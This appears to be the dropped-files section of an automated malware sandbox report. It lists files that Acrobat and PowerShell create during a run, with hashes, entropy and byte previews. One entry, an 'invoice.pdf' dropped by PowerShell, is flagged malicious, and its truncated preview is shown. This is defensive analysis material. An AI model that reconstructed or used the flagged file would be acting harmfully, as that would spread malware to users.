Preview:	.... .c......*.<..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg5xeG8tR0TKnvx8cqK5MZYmoOPZYyu:6a6TZ44ADE5xT8tSTKp8LayZK
MD5:	E86EC299E3B54B84CF0CA5297FB43F9D
SHA1:	C495BC8801918A876F529C146B5C7E832CB2AE3A
SHA-256:	4FF6B43AB653DF714BCDAE2FFD086427D758588A5B4C3CB0FE224FC2235C3874
SHA-512:	CF4E1544743B694948657701954DE748F3C3445B47DD669FB5C04F6FC8731BD50D007EBACA9070D01B176EA3FB5951D7CAE25721842499683C5581BF5C90DDEF
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIb9628.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488809521505088
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3Elww:Qw946cPbiOxDlbYnuRK+bD3q
MD5:	551CD933B2BB6CE5ADBD9038460E56ED
SHA1:	C280680816078BED1ED69F578D8796D2ED91E9F8
SHA-256:	3540563C1076127E88545A56CF98C69D1941CC64A24E889DE78802E14B75E21D
SHA-512:	D89022FF4A698FBB4535FADA28507BB47EBE34CED24AEB30C17536A399945F62B2F3362DBAF12552AC6A54AA5ABD6D1D64CD12C93021E5B8E3F47F63AD953F28
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.0.0.:.0.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ix1rhgx2.55c.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mzsx13ez.ywt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91usgenp_12pj3t3_2iw.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9v472go_12pj3t2_2iw.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-59-41-924.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.375624102138619
Encrypted:	false
SSDEEP:	384:yFhgRh/4lThaIYw5TOuUZTAhxWZQ5bz+LIxLtVbqj/x/uoLpUGPGrvyvSnRDXwHy:Ov1
MD5:	FDCC4A9F40A3E5BCC926F13184F78420
SHA1:	D1D1E7C8AA8972B0895B41F749926FFDF577CAE8
SHA-256:	F458144F675751644BD7DDCDECD25682B61D1A05499E52BE281A3B27130A0915
SHA-512:	9E77B3530F0A25AB3B256F94C8DD37344707AD9ADD6DEFEC0756F4979D9B390EDE0540E199B063E3C6011C442CFAA9365E0A9CD0884F14FE348FA6BC5706DD87
Malicious:	false
Preview:	SessionID=e73508ab-c807-4e6b-b243-bf22734793ff.1736528381994 Timestamp=2025-01-10T11:59:41:994-0500 ThreadID=7424 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e73508ab-c807-4e6b-b243-bf22734793ff.1736528381994 Timestamp=2025-01-10T11:59:42:017-0500 ThreadID=7424 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e73508ab-c807-4e6b-b243-bf22734793ff.1736528381994 Timestamp=2025-01-10T11:59:42:017-0500 ThreadID=7424 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e73508ab-c807-4e6b-b243-bf22734793ff.1736528381994 Timestamp=2025-01-10T11:59:42:017-0500 ThreadID=7424 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e73508ab-c807-4e6b-b243-bf22734793ff.1736528381994 Timestamp=2025-01-10T11:59:42:017-0500 ThreadID=7424 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.406097074689381
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbeJcb4INjcb0+:ceo4+rsCMoNn+
MD5:	FBA3A076246C8F3187011524D1F3E3E2
SHA1:	5697D7265293DA70C0075DB256C2B53D13EB2CED
SHA-256:	2673E46BCBECE1D558EBCC5ED37B8013C7EEF2240C423CFB2BEE85B4D29667C3
SHA-512:	D4CD07BFF4A373BE9DC0F5D2DAD182778B0A210B3B80B044F87DF78AC13D1C6DFF8BE1E1D86974572066410C072BA376109E4FFACC0B84AF5767E91BB2E28CC3
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\6ce46d04-72a4-4cea-ac61-5c9b8d5b5bd1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\82ca355a-8c86-46a7-a09f-e76a5f585102.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\be9070a0-6e33-4b2a-81c9-19c315f73403.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\fcdddb40-abbc-4b61-8498-ec53338e8e42.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/4wYIGNPYaWL07oYGZCNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:gwZGOaWLxYGZs3mlind9i4ufFXpAXkru
MD5:	CA3B67085CEDF83B55AA6F8392CB474E
SHA1:	ADB8F7845FF096F0D041F85B1563F914147F9287
SHA-256:	9F3947107CBCECC21CDAD67867C516C8CB43EACB2E8A2AD248EDBA8C138210C9
SHA-512:	C55DEA0995F28F31DED30C1952CED451ACD1449FDCBADBE65A0B9BA1191BDEE5356B83B32505C6103D3BD757EDB75F136D0923B11125DC6970F2F6024C8CB710
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
